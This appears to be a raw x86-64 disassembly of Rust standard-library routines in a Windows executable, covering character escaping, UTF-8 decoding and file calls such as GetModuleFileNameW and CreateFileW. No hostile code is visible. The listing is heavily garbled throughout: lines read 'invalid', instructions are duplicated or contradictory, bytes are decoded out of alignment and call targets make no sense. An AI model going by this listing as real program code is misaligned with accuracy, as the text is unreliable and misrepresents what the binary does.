nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1400f07e0]
or eax, 0x6f289
mov edx, esi
invalid
movsxd rax, dword [rcx + rsi*4]
add al, 0xb1
add rax, rcx
jmp rax
add rdi, 3
shl eax, 0xc
or ecx, eax
mov r13d, ecx
mov esi, r13d
out dx, al
out dx, al
cmp r13d, 0x27
jbe 0x140081550
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
cmp r13d, 0x5c
pop rsp
je 0x140081804
add al, byte [rax]
add byte [rcx + rcx*4 - 0x17], al
mov ecx, r13d
call fcn.140044f10
test al, al
ror byte [rdi], 0x85
invalid
add dword [rax], eax
invalid
ror byte [rdi], 0x85
invalid
cmp r13d, 0x20
cmp ebp, 0x20
jb 0x1400816b0
invalid
add byte [rcx - 0x7d], al
std
cmp r13d, 0x7f
jae 0x1400815e0
jg case.0x140068b4c.1121
shl rsi, 0x10
shl rsi, 0x10
shl esi, 0x10
mov r15, rbx
mov edi, ebx
or r15, rbp
out dx, eax
or r15, rsi
mov r13b, 0x80
movzx eax, byte [rsp + 0x4f]
mov dh, 0x44
and al, 0x4f
mov dh, 0x44
and al, 0x4f
mov esi, eax
movzx eax, byte [rsp + 0x4e]
and al, 0x4e
and al, 0x4e
mov r12d, eax
mov esp, eax
mov eax, r14d
jmp 0x140081470
invalid
invalid
invalid
invalid
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7f], al
std
add byte [rax], al
add byte [rcx], al
invalid
cmp r13d, 0x10000
add byte [rcx], al
add byte [rdi], cl
invalid
invalid
jb case.0x14007e3f3.90
invalid
cmp r13d, 0x20000
add al, byte [rax]
jae 0x14008163a
lea rax, [0x1400d9204]
invalid
mov qword [rsp + 0x28], rax
and al, 0x28
mov qword [rsp + 0x30], 0x1c2
ret 1
add dword [rax], eax
add byte [rax - 0x39], cl
and al, 0x20
and al, 0x20
add byte [rax], al
mov qword [rsp + 0x20], 0xc4
and al, 0x20
invalid
mov r8d, 0x2c
mov eax, 0x2c
mov ecx, r13d
jmp 0x1041da369
lea rdx, [0x1400d90e8]
adc eax, 0x57ac4
add byte [rbp + rcx*4 + 0xd], cl
adc eax, 0xe800057b
add al, ch
lea r9, str._f__NO
lea ecx, str._f__NO
add al, ch
call fcn.140045070
cmp dil, spl
inc dword [rax + rax*8 - 0x8d7af1]
test al, al
invalid
test dword [rdx - 1], esi
invalid
test al, al
jne 0x1400815aa
invalid
invalid
invalid
ror byte [rdi], 0x85
jb case.0x14007e3f3.123
invalid
invalid
invalid
jmp 0x1400816b0
lea eax, [r13 - 0xe01f0]
lea eax, [rbp - 0xe01f0]
int1
invalid
cmp eax, 0x2fe10
jb 0x1400816b0
movd xmm0, r13d
pshufd xmm0, xmm0, 0
paddd xmm0, xmm6
inc dh
add byte [rsi + 0xf], ah
inc dh
pxor xmm0, xmm7
movdqa xmm1, xmm8
movq mm1, mm0
invalid
movq mm1, mm0
movq mm1, mm0
pcmpgtd xmm1, xmm0
movmskps eax, xmm1
push rax
invalid
enter 0x500f, 0xffffffffffffffc1
push rax
rol dword [rax + rax*8 - 0x72beb98b], 0x85
invalid
invalid
invalid
invalid
mov ch, 0xec
test al, al
jne 0x1400816b0
invalid
lea eax, [r13 - 0x3134b]
lea eax, [r13 - 0x3134b]
cld
inc dword [rbx + 0x3a7205f8]
cmp eax, 5
jb 0x1400816b0
lea eax, [r13 - 0x323b0]
lea eax, [rbp - 0x323b0]
fdiv st(4), st(0)
invalid
cmp eax, 0xadd50
jb 0x1400816b0
push rax
fisttp qword [rdx]
add byte [rdx + 0x2c], dh
mov eax, r13d
mov eax, ebp
and eax, 0xffffffe0
cmp eax, 0x2a6e0
je 0x1400816b0
invalid
invalid
mov eax, r13d
mov eax, ebp
and eax, 0xfffffffe
cmp eax, 0x2b81e
jne 0x1400815aa
test dword [rax], ecx
invalid
invalid
invalid
test dword [rax], ecx
invalid
nop word cs:[rax + rax]
nop dword [rax + rax]
mov byte [rsp + 0x46], 0
mov word [rsp + 0x44], 0
add byte [rax], r8b
add byte [rax], r8b
mov byte [rsp + 0x4d], 0x7d
mov eax, r13d
shr eax, 0x14
lea rcx, [0x1400e77e3]
or eax, 0x66115
movzx eax, byte [rax + rcx]
mov dh, 4
or byte [rax + 0x44472444], cl
and al, 0x47
mov eax, r13d
mov dh, 4
or byte [rax + 0x44472444], cl
and al, 0x47
mov eax, r13d
shr eax, 0x10
and eax, 0xf
call 0x14fe899ef
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x48], al
and al, 0x48
and al, 0x48
mov eax, r13d
shr eax, 0xc
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x49], al
and al, 0x49
mov eax, r13d
shr eax, 8
and eax, 0xf
invalid
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x4a], al
mov eax, r13d
shr eax, 4
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x4b], al
mov eax, r13d
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x4c], al
or r13d, 1
bsr ecx, r13d
xor ecx, 0x1c
shr ecx, 2
lea rax, [rcx - 2]
mov byte [rsp + rcx + 0x44], 0x7b
mov word [rsp + rcx + 0x42], 0x755c
movzx r13d, word [rsp + 0x44]
mov esi, r13d
shr esi, 8
mov r9, qword [rsp + 0x46]
mov rcx, r9
and rcx, 0xffffffffffff0000
mov r8, r9
shr r8, 0x30
mov r12b, 0xa
jmp 0x1400817ba
mov r12b, 2
mov r13b, 0x5c
mov sil, 0x30
jmp 0x1400817b0
mov r12b, 2
mov r13b, 0x5c
mov sil, 0x74
jmp 0x1400817b0
mov r12b, 2
mov r13b, 0x5c
mov sil, 0x6e
jmp 0x1400817b0
mov r12b, 2
mov r13b, 0x5c
mov sil, 0x72
jmp 0x1400817b0
mov r12b, 2
mov r13b, 0x5c
mov sil, 0x22
jmp 0x1400817b0
mov r12b, 2
mov r13b, 0x5c
mov sil, 0x27
nop dword [rax]
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
xor eax, eax
movabs rdx, 0xffffffff0000
and rcx, rdx
mov qword [rsp + 0x58], r8
movzx edx, r8w
shl rdx, 0x30
or rdx, rcx
mov qword [rsp + 0x50], r9
movzx r15d, r9w
or r15, rdx
mov ecx, esi
mov byte [rsp + 0x4f], sil
mov ecx, r12d
mov byte [rsp + 0x4e], r12b
mov r14d, eax
cmp r13b, 0x81
jne case.0x140032218.1163
jmp 0x140081896
mov r12b, 2
mov sil, 0x5c
xor r8d, r8d
mov r13b, 0x5c
jmp 0x1400817b3
shr r15, 0x10
mov edx, r15d
lea rax, [rsp + 0x70]
mov dword [rax + 8], 0
mov qword [rax], 0
xor r15d, r15d
xor esi, esi
xor r12d, r12d
xor ebx, ebx
xor r13d, r13d
jmp 0x140081877
mov byte [rsp + 0x7b], r12b
mov byte [rsp + 0x70], r13b
mov byte [rsp + 0x71], sil
mov qword [rsp + 0x72], r15
lea ebx, [rax + 1]
mov byte [rsp + 0x7a], bl
movzx ecx, al
cmp al, 0xa
jae 0x1400818c5
movzx edx, byte [rsp + rcx + 0x70]
mov rcx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x90]
call qword [rax + 0x20]
test al, al
je 0x140081414
mov al, 1
jmp 0x140081898
xor eax, eax
movaps xmm6, xmmword [rsp + 0xa0]
movaps xmm7, xmmword [rsp + 0xb0]
movaps xmm8, xmmword [rsp + 0xc0]
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcescape.rs
mov edx, 0xa
call fcn.1400a9fa0
ud2
mov rax, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
mov word [rax + r8*2], r13w
inc r8
mov qword [rbp - 8], r8
mov rdx, qword [rdi]
mov edx, dword [rdi]
mov r13d, ebx
test bx, bx
jne 0x140081af0
nop word cs:[rax + rax]
cmp rdx, r15
je case.0x140074731.713
add byte [rax], al
add byte [rax], al
lea rcx, [rdx + 1]
add dword [rax - 0x77], ecx
cmove ecx, dword [rdi]
mov dh, 0x12
mov qword [rdi], rcx
movzx r10d, byte [rdx]
movzx r13d, r10b
test r13b, r13b
jns 0x140081b1a
mov r9d, r13d
and r9d, 0x1f
lea rcx, [rdx + 2]
mov qword [rdi], rcx
movzx r11d, byte [rdx + 1]
and r11d, 0x3f
invalid
cmp r13b, 0xdf
jbe 0x140081b10
invalid
lea rcx, [rdx + 3]
mov qword [rdi], rcx
mov dword [rdi], ecx
mov dword [rdi], ecx
movzx r13d, byte [rdx + 2]
shl r11d, 6
shl ebx, 6
shl ebx, 6
and r13d, 0x3f
and ebp, 0x3f
invalid
or r13d, r11d
or ebp, ebx
cmp r10b, 0xf0
jb case.0x140074731.692
jl 0x140081abd
add byte [rax], al
cli
invalid
jl 0x140081abd
add byte [rax], al
lea rcx, [rdx + 4]
mov qword [rdi], rcx
movzx edx, byte [rdx + 3]
mov dh, 0x52
add eax, dword [rcx - 0x7d]
and ecx, 7
mov dh, 0x52
add eax, dword [rcx - 0x7d]
and ecx, 7
and ecx, 7
shl r9d, 0x12
shl ecx, 0x12
shl r13d, 6
shl ebp, 6
invalid
and edx, 0x3f
loop case.0x140074731.687
or edx, r13d
or edx, r9d
invalid
mov r13d, edx
cmp r13d, 0xffff
cmp ebp, 0xffff
cmp ebp, 0xffff
add byte [rax], al
jbe 0x140081b1a
jmp 0x140081b4b
pop rsi
nop dword [rax]
invalid
invalid
invalid
mov word [rdi + 0x10], 0
xor ebx, ebx
cmp r13w, 0x22
invalid
je case.0x140074731.689
add byte [rcx], dh
invalid
and dh, byte [rdi + riz - 0x15]
jg 0x140081b68
jmp 0x140081b80
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
shl r9d, 6
shl ecx, 6
or r9d, r11d
mov r13d, r9d
mov ebp, ecx
mov ebp, ecx
xor ebx, ebx
mov rdx, rcx
cmp r13w, 0x22
jne 0x140081b80
not r12b
and r12b, 1
mov r13d, ebx
test bx, bx
je 0x140081a60
test byte [rdi], ah
invalid
invalid
invalid
test byte [rdi], ah
invalid
jmp 0x140081af0
shl r9d, 0xc
or r13d, r9d
invalid
int 0x41
cmp ebp, 0xffff
cmp r13d, 0xffff
jbe 0x140081b1a
lea r9d, [r13 + 0xff0000]
inc dword [rax]
shr r9d, 0xa
or r9d, 0xd800
or ecx, 0xd800
or ecx, 0xd800
add al, bl
add byte [rax], al
and r13d, 0x3ff
and ebp, 0x3ff
in eax, 0xff
add eax, dword [rax]
add byte [rcx - 0x7f], al
invalid
int 0
or r13d, 0xdc00
or ebp, 0xdc00
fadd qword [rax]
add byte [rsi + 0x44], ah
mov dword [rdi + 0x10], r13d
mov word [rdi + 0x10], r13w
mov dword [rdi + 0x10], r13d
mov rdx, rcx
mov ebx, r13d
mov r13d, r9d
cmp r13w, 0x22
cmp r13d, 0x22
cmp r13d, 0x22
je case.0x140074731.689
movzx ecx, r13w
movzx ecx, bp
cmp ecx, 0x3b
jne 0x140081b94
invalid
or esp, dword [rsi + 0x41]
mov ebp, 0xf641003b
invalid
invalid
mov r13w, 0x3b
test r12b, 1
test ah, 1
test ah, 1
je case.0x140074731.712
sbb ecx, dword [rbx + rdi + 0x45]
invalid
cmp r8, qword [rbp - 0x10]
jne 0x140081a38
lea rcx, [rbp - 0x18]
lea ecx, [rbp - 0x18]
mov rdx, r8
call fcn.140010890
in al, dx
clc
invalid
jmp 0x140081a30
invalid
invalid
invalid
invalid
in al, dx
clc
invalid
cmp esi, 0x47c6ffff
sbb byte [rcx], al
mov byte [rdi + 0x18], 1
test r14b, r14b
jne 0x140081bec
invalid
div byte [rbp + 0x34]
xor al, 0x4d
test eax, eax
test r8, r8
jne 0x140081bec
mov byte [rsi + 0x18], 2
sbb byte [rdx], al
cmp qword [rbp - 0x10], 0
je 0x140081c0f
invalid
jge 0x140081bb5
add byte [rdi + rax*2 + 0x4c], dh
mov eax, dword [rbp - 0x18]
invalid
mov r8, qword [rbp - 0x18]
mov r8, qword [rbp - 0x18]
call 0x16515a718
jbe 0x140081bd9
mov rcx, qword [0x1400f91f8]
and eax, 0x31000776
add byte [rcx], dh
xor edx, edx
add rsp, 0x68
invalid
invalid
ror byte [rax - 0x7d], cl
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
add al, byte [rax]
call 0xcb501bf0
push rbp
call 0x10855a93c
lea rcx, [rbp - 0x38]
mov rdx, qword [rbp - 0x18]
lea rcx, [rbp - 0x38]
call fcn.14007e0a0
movups xmm0, xmmword [rbp - 0x38]
movups xmm1, xmmword [rbp - 0x28]
adc byte [rbp - 0x28], cl
invalid
adc byte [rbp - 0x28], cl
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
cmp qword [rbp - 0x10], 0
add byte [rbp - 0x47], dh
add byte [rbp - 0x47], dh
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov dword [rsp + 0x10], edx
push rbp
push r15
push rdi
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
lea ebp, [rdx + 0x60]
in al, dx
sub byte [rax - 0x73], cl
invalid
lea ebp, [rdx + 0x60]
push 0x60
cmp qword [rbp - 0x10], 0
je case.0x14007cc61.581
invalid
jge 0x140081c2d
add byte [rbx + rdx + 0x4c], dh
mov eax, dword [rbp - 0x18]
invalid
adc ecx, dword [rbx + rcx*4 + 0x45]
mov r8, qword [rbp - 0x18]
call 0xed15a790
mov rcx, qword [0x1400f91f8]
lodsd eax, dword [rsi]
jne 0x140081c51
add byte [rcx], dh
sar bh, cl
adc eax, 0x2e7b5
mov ch, 0xe7
add al, byte [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov ch, 0xe7
add al, byte [rax]
mov ch, 0xe7
add al, byte [rax]
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
pop rbp
ret
int3
int3
int3
int3
push r15
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x478
js 0x140081c85
add byte [rax], al
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
test eax, esi
add eax, dword [rax]
add dh, bh
invalid
invalid
dec dword [rax - 0x77]
invalid
loopne 0x140081c9e
add byte [rax], al
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test eax, esi
add eax, dword [rax]
add dh, bh
invalid
invalid
add byte [rax], al
mov qword [rbp + 0x3c8], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
test eax, edx
add eax, dword [rax]
add byte [rax], al
push rdi
ror byte [rdi], 0x11
test eax, edx
add eax, dword [rax]
add byte [rax], al
mov r8d, 0x200
add byte [rax], al
mov r8d, 0x200
add byte [rax + 2], bh
mov eax, 2
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x3e8], rax
mov dword [rbp + 0x3e8], eax
xor edi, edi
xor ebx, ebx
xor r14d, r14d
push qword [rcx]
fild dword [rbp + 0x31]
test byte [rcx - 0x7f], 0xf8
cmp r8, 0x201
cmp r8, 0x201
cmp eax, 0x201
add byte [rbx + 0x2c], dh
jae 0x140081d00
sub al, 0xeb
jmp case.0x14007cc61.605
sbb dword [rsi + 0x2e], esp
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
jae 0x140081dc1
sbb ebx, 0
add byte [rax], al
cmp r8, 0x201
clc
add dword [rdx], eax
add byte [rax], al
jae 0x140081d00
mov r15d, 0x200
lea r12, [rbp - 0x58]
lea esp, [rbp - 0x58]
lea esp, [rbp - 0x58]
mov r13, r8
jmp 0x140081d58
pop rdx
vcvtsd2ss xmm4, xmm2, qword [rsi - 0x70]
pop rdx
nop
sub r8, r14
sub rbx, r14
sub ebx, esi
invalid
sub ebx, esi
cmp rbx, r8
cmp ebx, eax
jae case.0x14007cc61.618
lea rcx, [rbp + 0x3c8]
mov rdx, r14
add eax, dword [rax]
add byte [rcx + rcx*4 - 0xe], cl
call fcn.1400ae520
mov rax, qword [rbp + 0x3c8]
mov eax, dword [rbp + 0x3c8]
enter 2, 0x48
mov eax, dword [rbp + 0x3c8]
add byte [rax], al
mov qword [rbp + 0x3e8], rax
mov rdi, qword [rbp + 0x3d0]
rol byte [rbx], 1
add byte [rax], al
test eax, ebp
add eax, dword [rax]
add byte [rax - 0x75], cl
mov ebp, 0x3d0
rol byte [rbx], 1
add byte [rax], al
rol byte [rbx], 1
add byte [rax], al
mov eax, 0xffffffff
cmp rdi, rax
dec dword [rax + 0x39]
mov dword [rcx - 0x42], 0xffffffff
mov r14d, 0xffffffff
mov r14d, 0xffffffff
mov esi, 0xffffffff
invalid
cmovb r14, rdi
mov qword [rbp + 0x3d8], r14
mov ch, 0xd8
add eax, dword [rax]
invalid
test dword [rcx + r9*4 - 0x4b], 0x3d8
mov ch, 0xd8
add eax, dword [rax]
add byte [rax - 0x77], cl
sti
mov rbx, rdi
mov r15, r14
mov r12, qword [rbp + 0x3e8]
mov esp, dword [rbp + 0x3e8]
mov esp, dword [rbp + 0x3e8]
add eax, dword [rax]
add byte [rbp - 0x77], cl
add byte [rax], al
mov r13, r14
cmc
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
add al, byte [rax]
add al, byte [rax]
xor ecx, ecx
mov rdx, r12
mov r8d, r13d
call qword [sym.imp.kernel32.dll_GetModuleFileNameW]
add al, byte [rax]
add al, byte [rax]
mov esi, eax
test eax, eax
jne 0x140081d82
invalid
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x140081e25
invalid
add byte [rcx - 0x77], al
invalid
mov r8d, esi
cmp r13, r8
jne 0x140081ce0
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x2e614
cmp eax, 0x7a
jne 0x140081e48
jp 0x140081da7
test dword [rbx + 0x4d000000], ebp
add ebp, ebp
add r13, r13
mov eax, 0xffffffff
cmp r13, rax
cmovae r13, rax
call 0x189f0a6fd
cmp eax, 0x201
add dword [rdx], eax
add byte [rax], al
dec dword [rcx + 0x39]
invalid
call 0x189f0a6fd
cmp eax, 0x201
add dword [rdx], eax
add byte [rax], al
add dword [rdx], eax
add byte [rax], al
jb case.0x14007cc61.605
invalid
jmp 0x140081d00
dec dword [rbp + 0x39]
invalid
cmp r15, r8
jb 0x140081e62
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea ebp, [rax + 0x4c000003]
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x1e], cl
lea rcx, [rbp + 0x3a8]
mov rdx, r12
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x1e], cl
call fcn.14007e0a0
movups xmm0, xmmword [rbp + 0x3a8]
test al, 3
add byte [rax], al
mov edx, 0x100fffff
test dword [rax + 0xf000003], ebp
test al, 3
add byte [rax], al
movups xmm1, xmmword [rbp + 0x3b8]
test al, 3
add byte [rax], al
movups xmm1, xmmword [rbp + 0x3b8]
mov eax, 0x48000003
mov eax, dword [rbp + 0x3e0]
loopne 0x140081def
add byte [rax], al
mov rax, qword [rbp + 0x3e0]
loopne 0x140081def
add byte [rax], al
movups xmmword [rax + 0x10], xmm1
adc dword [rax + 0x10], ecx
adc byte [rdi], cl
adc dword [rax], eax
movups xmmword [rax], xmm0
test rdi, rdi
je 0x140081e10
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x3e8]
mov eax, dword [rbp + 0x3e8]
invalid
mov eax, dword [rbp + 0x3e8]
call 0x13f081e0e
adc eax, 0x2e5f8
in eax, 2
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
in eax, 2
add byte [rax + 0x78c48148], dl
add al, 0
add byte [rbx + 0x5f], bl
nop
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rcx, qword [rbp + 0x3e0]
mov qword [rcx], rax
mov byte [rcx + 0x18], 2
add cl, byte [rax - 0x7b]
push qword [rbp - 0x4c]
jmp 0x140081e10
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea ecx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.1400aa0a0
jmp 0x140081e77
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.1400aa020
ud2
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0x3d0], 0
mov ebp, 0x3d0
invalid
je 0x140081ebc
mov ebp, 0x3d0
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rbp + 0x3c8]
mov r8, qword [rbp + 0x3c8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
invalid
mov ebx, dword [rsi + 0x10]
sub rax, rbx
cmp rax, r15
jb 0x1400820da
mov rcx, qword [rsi]
add rcx, rbx
mov rdx, rdi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add rbx, r15
jmp 0x14008209b
add r8, 2
add eax, 2
cmp rdx, rax
cmovne rdx, r8
nop word cs:[rax + rax]
mov r8, rdx
cmp rdx, rax
je 0x14008207e
lea rdx, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
jns 0x140082010
cmp r9b, 0xe0
jb 0x140081ffb
cmp r9b, 0xed
jne 0x14008204f
cmp rdx, rax
je 0x14008207e
lea rdx, [r8 + 2]
cmp rdx, rax
je 0x14008207e
cmp byte [r8 + 1], 0x9f
ja 0x14008207a
add r8, 3
mov rdx, r8
jmp 0x140082010
add r8, 2
cmp rdx, rax
cmove r8, rdx
xor edx, edx
cmp r8, rax
setne dl
add rdx, r8
cmp r9b, 0xf0
jb 0x140082010
xor r8d, r8d
cmp rdx, rax
setne r8b
add rdx, r8
jmp 0x140082010
mov byte [rsi + 0x18], 0
mov rax, qword [rsi + 8]
sub rax, rbx
cmp rax, r14
jb 0x1400820b0
add rcx, rbx
mov rdx, rdi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add rbx, r14
mov qword [rsi + 0x10], rbx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rsi
mov rdx, rbx
mov r8, r14
call fcn.1400ab0a0
mov rcx, qword [rsi]
mov rbx, qword [rsi + 0x10]
jmp 0x14008208a
mov rcx, rsi
mov rdx, rbx
mov r8, r15
call fcn.1400ab0a0
mov rbx, qword [rsi + 0x10]
jmp 0x140081fd0
invalid
invalid
pop rax
mov r8d, dword [rdi + 0x18]
mov r9, qword [rdi + 8]
mov edx, 0x80120114
jmp 0x140082230
cmp byte [rdi + 0x23], 0
je 0x1400821f6
jmp 0x140082240
jne 0x140082150
leave
je 0x14008221f
test al, al
jne 0x140082223
mov edx, 0x40000000
jmp 0x14008220d
mov r9, qword [rdi + 8]
mov edx, 0x80120114
test al, al
jne 0x140082230
mov edx, 0x80000000
cmp byte [rdi + 0x23], 0
jne 0x140082240
invalid
cmp byte [rdi + 0x24], 0
cmp byte [rdi + 0x24], 0
jne 0x140082240
cmp byte [rdi + 0x25], 0
jne 0x140082240
xor eax, eax
xor ecx, ecx
jmp 0x140082258
mov r8d, dword [rdi + 0x18]
mov r9, qword [rdi + 8]
movzx ecx, byte [rdi + 0x23]
movzx eax, byte [rdi + 0x25]
jmp 0x140082258
test al, al
je 0x140082240
mov r8d, dword [rdi + 0x18]
mov r9, qword [rdi + 8]
mov edx, 0x120114
adc al, byte [rax]
adc al, byte [rax]
movzx ecx, byte [rdi + 0x23]
movzx eax, byte [rdi + 0x25]
test cl, cl
je 0x140082258
test al, al
jne 0x140082258
movabs r14, 0x5700000002
test r15, r15
jne case.0x1400861b2.153
jmp 0x1400822e5
cmp byte [rdi + 0x24], 0
je 0x140082277
jg 0x14008227f
add byte [rcx + rbx + 0x45], dh
xor edx, edx
xor r10d, r10d
test cl, cl
sete cl
test al, al
jne 0x140082287
mov r10b, cl
lea ecx, [r10*2 + 2]
jmp 0x14008228c
xor r10d, r10d
test cl, cl
leave
leave
setne cl
test al, al
je 0x140082314
test byte [rbp - 0x47000000], cl
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov r10d, dword [rdi + 0x14]
or r10d, dword [rdi + 0x10]
or edx, dword [rdi + 0x10]
or edx, dword [rdi + 0x10]
or r10d, dword [rdi + 0x1c]
xor r11d, r11d
test al, al
setne r11b
setne bl
shl r11d, 0x15
jrcxz 0x1400822ba
or r11d, r10d
mov dword [rsp + 0x28], r11d
pop rsp
and al, 0x28
pop rsp
and al, 0x28
mov dword [rsp + 0x20], ecx
mov qword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
invalid
and al, 0x30
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CreateFileW]
add eax, 0x480002df
cmp rax, 0xffffffffffffffff
cmp eax, 0xffffffff
je case.0x1400861b2.162
mov r14, rax
xor ebx, ebx
test r15, r15
test edi, edi
invalid
test edi, edi
je 0x1400822e5
mov rcx, qword [0x1400f91f8]
or eax, 0x76f1e
outsd dx, dword [rsi]
invalid
xor edx, edx
mov r8, rsi
ror byte [rcx - 0x77], cl
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
and esp, ecx
add al, byte [rax]
mov rax, rbx
mov rdx, r14
fmul dword [rcx + rcx*4 - 0xe]
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
ret
call qword [sym.imp.kernel32.dll_GetLastError]
stosd dword [rdi], eax
loopne 0x1400822fe
invalid
add al, byte [rax]
add byte [rcx - 0x77], al
mov r14d, eax
mov esi, eax
invalid
shl r14, 0x20
out 0x20, al
and byte [rcx - 0x7d], cl
invalid
or r14, 2
mov ebx, 1
add dword [rax], eax
add byte [rax], al
add bh, byte [rbx + 1]
add dword [rax], eax
add byte [rax], al
test r15, r15
push qword [rbp - 0x3f]
jne case.0x1400861b2.153
jmp 0x1400822e5
rol dword [rcx - 0x78], 1
retf 0x8d42
invalid
invalid
mov r10b, cl
lea ecx, [r10*2 + 3]
add eax, dword [rax]
add byte [rax], al
invalid
add cl, ch
push 0xffffffffccffffff
invalid
invalid
dec esp
jmp 0x14008228c
invalid
dec esp
int3
int3
int3
int3
int3
sub esp, 0x68
mov rdi, rdx
mov edi, edx
mov rsi, rcx
mov esi, ecx
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
and al, 0x50
and al, 0x50
push rax
movaps xmmword [rsp + 0x40], xmm0
and al, 0x40
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x30], xmm0
and al, 0x30
mov dword [rsp + 0x60], 0
and al, 0x60
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x30
lea rdx, [rsp + 0x30]
lea edx, [rsp + 0x30]
mov rcx, rdi
stc
call sub.kernel32.dll_GetFileInformationByHandle
jae 0x140082399
add al, byte [rax]
test eax, eax
je case.0x1400861b2.212
scasb al, byte [rdi]
add byte [rax], al
add byte [rax], al
ror byte [rdi], 0x84
scasb al, byte [rdi]
add byte [rax], al
add byte [rax], al
mov ecx, dword [rsp + 0x30]
xor eax, eax
invalid
invalid
add byte [rax], al
mov ecx, dword [rsp + 0x30]
and al, 0x30
xor eax, eax
test ecx, 0x400
rol dword [rax], 4
add byte [rax], al
add byte [rax + rax], al
add byte [rax + rdi + 0x48], dh
je case.0x14007e3f3.167
mov qword [rsp + 0x28], 0
je case.0x14007e3f3.167
mov qword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
lea eax, [rsp + 0x28]
add byte [rax], al
lea r8, [rsp + 0x28]
lea eax, [rsp + 0x28]
mov rcx, rdi
mov edx, 9
or dword [rax], eax
add byte [rax], al
add byte [rcx - 0x47], al
mov r9d, 8
or byte [rax], al
add byte [rax], al
call qword [sym.imp.kernel32.dll_GetFileInformationByHandleEx]
xor eax, 0x850002de
fiadd word [rdx]
add byte [rbp - 0x74858b40], al
test eax, eax
je case.0x1400861b2.212
mov eax, dword [rsp + 0x28]
add al, byte [rax]
test eax, eax
je case.0x1400861b2.212
sal byte [rdx + rdi*2 - 0x75], 0x44
and al, 0x28
